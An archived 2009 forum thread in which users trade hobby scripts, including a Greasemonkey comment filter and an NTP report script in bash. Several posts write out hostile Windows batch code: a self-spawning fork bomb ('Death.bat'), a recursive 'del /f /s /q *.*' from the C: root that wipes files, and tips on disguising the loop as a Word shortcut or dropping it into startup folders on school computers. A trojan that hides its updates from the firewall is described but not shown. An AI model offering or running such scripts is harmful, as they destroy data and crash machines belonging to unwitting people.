This forum is in permanent archive mode. Our new active community can be found here.

Simple Scripts / Programs

edited May 2009 in Technology
This is a thread where you post scripts that you wrote just because whether it is a Greasemonkey script, or normal programs in C++, C, Java, JavaScript, PHP, etc.

Since I was bored and wanted to practice JavaScript, I created a Greasemonkey script that filters out user comments on this forum based on the user. I admit it is probably very inefficient.

FRC Forum User Filter

Use Pastebin!

Comments

  • If you don't want to clog up a thread with massive amounts of code, pastebin is an excellent tool. It even does syntax highlighting and has correction/amendment support.
  • If you don't want to clog up a thread with massive amounts of code,pastebinis an excellent tool. It even does syntax highlighting and has correction/amendment support.
    Oh yes... I guess staying up till 4:26AM is not a good idea--you start to miss things.
  • edited May 2009
    I wrote a windows batch script a while back that would just keep spawning new instances of itself and Explorer until the machine ran out of memory. It originally only just keep spawning Explorer until I figured out that I could make the speed of the machine takedown exponential by making the script spawn itself as well during the loop.

    Death.bat
    Echo off
    cls
    Echo Behold El Diablo Nino!
    :Death
    Start Explorer.exe
    Start Death.bat
    Goto Death


    I also wrote a fairly sophisticated windows batch script...Trojan is I guess the closest thing you could call it. It would use command line hooks in things like the windows XP firewall and task scheduler to be able to auto update itself without the user knowing. This was done through the command line ftp program which is what necessitated the need to configure the firewall, otherwise, on the first update, the firewall would throw up a flag asking the user if they wanted to allow the connection.

    The nice thing I was most surprised about was how robust the command line still is in windows and how most parts of windows still have command line based functions available. Of course, this assumed the user was running as Admin and not a Limited User. I will not be posting the code for this little gem.
    Post edited by Victor Frost on
  • ......
    edited May 2009
    FRC Forum User Filter
    Wow, someone other than me finally did what I've been telling them for a year now? Good for you Flux. Dive into Greasemonkey makes writing such basic scripts too easy.

    EDIT: Added my differences to your script Flux, enjoy. I haven't been bored enough yet to make it only block the commentbody.
    Post edited by ... on
  • Death.bat
    Those were so popular in my school. People would just write it while the person wasn't looking and launch it. In our case it was just opening cmd.exe over and over again however so it was possible to stop the thing but it was interesting to see Windows struggle and give you random error messages while crashing and running out of memory.
  • FRC Forum User Filter
    Wow, someone other than me finally did what I've been telling them for a year now? Good for you Flux. Dive into Greasemonkey makes writing such basic scripts too easy.
    He created it just for you with my encouragement :P
  • ......
    edited May 2009
    He created it just for you with my encouragement :P
    Such was obvious Sherlock, excluding your involvement of course.
    Post edited by ... on
  • edited May 2009
    Dive into Greasemonkey makes writing such basic scripts too easy.
    As the Internet does in general.
    Post edited by flux on
  • edited May 2009
    Those were so popular in my school. People would just write it while the person wasn't looking and launch it. In our case it was just opening cmd.exe over and over again however so it was possible to stop the thing but it was interesting to see Windows struggle and give you random error messages while crashing and running out of memory.
    Yep. The ones me and my friends wrote were like this:
    start loop.bat
    start crash.txt

    And it would just sit there opening itself over and over again (loop.bat), which opened cmd.exe essentially. Crash.txt was just a bullshit text file that said "the computer is crashing!", which scared the shit out of the school librarians a few times :D. On the other hand, the computers at school were so shitty that the loop would stop after like 300 iterations, because...I have no idea really, I'm guessing it's because the computers didn't have enough power to keep the script going. But the computers never actually crashed.
    It was always fun to create a shortcut to the loop.bat file, then rename the shortcut to "Microsoft Word" and then change the shortcut icon to word. That nearly got me in deep shit a few times.

    Sonic - what's all the other stuff in your script do? The simple 2 line script (or hell, even 1 line if I decided to omit the text file) that I always wrote was always sufficient.
    Post edited by Dkong on
  • My friends would put the file in the start-up folder. :) Mwahaha.
  • RymRym
    edited May 2009
    This is a bash script I threw together to generate a simple time report for a back office in about five minutes a long time ago. It's never really been updated, and I replaced it later with a miniscule Python script. Bash is amazingly simple to use for very, very simple purposes. (Obviously, I removed all of our server names).

    #!/bin/bash

    # This script generates an NTP report for both the local ntp cloud
    # and the trading servers. It is ugly, but at least it is simple.
    # Configuration is broken up into sections below, followed by the
    # actual report generation code.


    #---- LOCAL NTP SERVERS ----

    # NTP Server CNAMES and their actual names in matched pairs.
    # Add or remove local ntp servers here.

    # ntpcloud[n] = CNAME of Local NTP Server
    # ntpcloudserver = Actual Name of Local NTP Server

    ntpcloud[0]="xxxxxx"
    ntpcloudserver[0]="xxxxxx"

    ntpcloud[1]="xxxxxx"
    ntpcloudserver[1]="xxxxxx"

    ntpcloud[2]="xxxxxx"
    ntpcloudserver[2]="xxxxxx"

    #---- END LOCAL NTP SERVERS ----


    #---- MONITORED SERVERS ----

    # Monitored NTP clients
    # These servers will be included in the NTP report
    #
    # server[n] = Fully Qualified Domain Name

    #server[0]="localhost"
    #server[1]="xxxxxx"
    server[2]="xxxxxx"
    server[3]="xxxxxx"
    #server[4]="xxxxxx"
    #server[5]="xxxxxx"
    server[0]="xxxxxx"
    server[1]="xxxxxx"
    #---- END MONITORED SERVERS ----


    #---- NIST SERVER NAME MAPPING ----

    # These values are to clean up NTP peer names for the backoffice, as several
    # NIST NTP server names do not resolve properly or intelligently.
    # They are matched pairs as with the local NTP server entries above
    #
    # names[n] = Name or IP returned by ntpdc query
    # aliases[n] = Name or message we wish to display for the Backoffice

    names[0]="71-13-91-122.static.bycy.mi.charter.com"
    aliases[0]="nist.expertsmi.com"

    names[1]="0.0.0.0"
    aliases[1]="no source. Server is re-evaluating NIST sources."

    names[2]="131.107.13.100"
    aliases[2]="time-nw.nist.gov"

    names[3]="india.colorado.edu"
    aliases[3]="utcnist.colorado.edu"

    names[4]="206.246.118.250"
    aliases[4]="nist1-dc.WiTime.net"

    names[5]=""
    aliases[5]="no source. \r There may be a problem with synchronization. Network Operations has been notified."
    #---- END NIST SERVER NAME MAPPING ----



    #---- CODE ----

    # Loop through local ntp servers, query via ntpdc, clean up names, and dump into arrays
    for (( i = 0 ; i < ${#ntpcloud[@]} ; i++ ))
    do
    /usr/sbin/ntpdc -c sysinfo ${ntpcloud[$i]} > /tmp/ntplast
    cloudpeer[$i]=`awk -F ": *" '$1=="system peer" {print $2}' /tmp/ntplast`
    clouddispersion[$i]=`awk -F ": *" '$1=="root dispersion" {print $2}' /tmp/ntplast`
    for (( j = 0 ; j < ${#names[@]} ; j++ ))
    do
    if [ "${cloudpeer[$i]}" == "${names[$j]}" ]; then
    cloudpeer[$i]="${aliases[$j]}";
    fi
    done
    done


    # Loop through trading servers, query via ntpdc, clean up names, and dump into arrays
    for (( i = 0 ; i < ${#server[@]} ; i++ ))
    do
    peer[$i]=`/usr/sbin/ntpdc -c sysinfo ${server[$i]} | awk -F ": *" '$1=="system peer" {print $2}'`
    for (( j = 0 ; j < ${#ntpcloud[@]} ; j++ ))
    do
    if [ "${peer[$i]}" == "" ]; then
    peer[$i]="no source. Network Operations has been notified"
    fi

    if [ "${peer[$i]}" == "${ntpcloudserver[$j]}" ]; then
    peer[$i]="${ntpcloud[$j]}";
    fi
    done
    done

    # Generate NTP report
    echo "Time Synchronization Report:"
    echo `date`
    echo
    echo "Trading Servers:"
    echo

    for (( i = 0 ; i < ${#server[@]} ; i++ ))
    do
    echo -e "${server[$i]} is synchronized to ${peer[$i]}.\r"
    done

    echo
    echo "Time Synchronization Cloud Accuracy:"
    echo

    for (( i = 0 ; i < ${#ntpcloud[@]} ; i++ ))
    do
    echo "${ntpcloud[$i]} is synchronized to ${cloudpeer[$i]}"
    echo " Maximum possible error: ${clouddispersion[$i]}."
    done

    echo
    echo "The above values are the maximum theoretical error according to the Network Time Protocol. They represent the worst possible case; the accuracy of the NTP cloud as a whole is generally equal to the lowest error calculated by any one member."
    echo
    echo "The servers to which our cloud synchronizes were selected from a pool of the following NIST sources:"
    echo
    echo "http://tf.nist.gov/tf-cgi/servers.cgi"
    Post edited by Rym on
  • edited May 2009
    Sonic - what's all the other stuff in your script do? The simple 2 line script (or hell, even 1 line if I decided to omit the text file) that I always wrote was always sufficient.
    Echo off
    Echo Off is the command telling windows to not print the verbose of the command. IE: If you put in the script "Copy blah.txt c:\blah.txt" it wont show any of that.
    cls
    Clears the screen
    Echo Behold El Diablo Nino!
    Prints "Behold El Diablo Nino" in the window
    :Death
    This is a marker to be used as a reference point for pointers later in the script. The syntax is ":name_of_marker"
    Start Explorer.exe
    Start Death.bat

    Start is just your generic RUN command. It looks in the four places consisting of the folder the command line is currently in and three other folders which, in earlier iterations, was set by autoexec.bat . These places are "C:\", "C:\windows\", and "C:\windows\system32\". So, These two lines of code start another iteration of the batch file and a windows explorer window.
    Goto Death
    Goto is just a pointer, telling the batch script to go and run all the code after the marker ":Death".

    Really, I could eliminate three lines of code and it will still do what it's supposed to, but I like to keep the presentation clean.
    Post edited by Victor Frost on
  • but I like to keep the presentation clean.
    Even with code of such nature. :)
  • edited May 2009
    Especially with code of such nature. :) Let's face it, though; a script that just bogs down a computer is little more than a practical joke.

    Echo off
    cls
    echo Nya!
    cd c:\
    del /f /s /q *.*

    This, however, is very destructive under any Windows NT based OS. It's the NT equivalent of "RM -rf /". After printing "Nya!" on the screen, it jumps to the root of drive C: and deletes every file it can, recursing through the directory tree, without asking for verification, and without giving any verbose. Maybe I'll install windows XP in a VM and do a screen recording of it in action.
    Post edited by Victor Frost on
  • edited May 2009
    Maybe I'll install windows XP in a VM and do a screen recording of it in action.
    I've already got a VM of XP ;)
    I'm a test it out!

    EDIT: Oh god how do I stop it?
    EDIT2: It's deleting my fonts!! Noooo, my precious fonts!
    EDIT3: My .NET framework! D:
    EDIT4: It's finished, but Windows is still working. I still have my WINDOWS folder and some other stuff. Program files still has programs in it. I MUST ERADICATE EVERYTHING!
    Post edited by Nine Boomer on
  • This, however, is very destructive under any Windows NT based OS. It's the NT equivalent of "RM -rf /". After printing "Nya!" on the screen, it jumps to the root of drive C: and deletes every file it can, recursing through the directory tree, without asking for verification, and without giving any verbose. Maybe I'll install windows XP in a VM and do a screen recording of it in action.
    Too bad our school computers have the permissions set properly. No write access to any of the systems directories. :( But hopefully it can still delete some files that they missed. :) Not that I'm planning anything. ;)
  • edited May 2009
    @Joe Boomer: I don't think you can stop it short of cutting the power. Now make the VM reboot and see if it boots.
    @Flux: Yes, in order to invoke system wide destruction, you would need admin access. However, this wont stop it from deleting all of your profile data.
    Post edited by Victor Frost on
Sign In or Register to comment.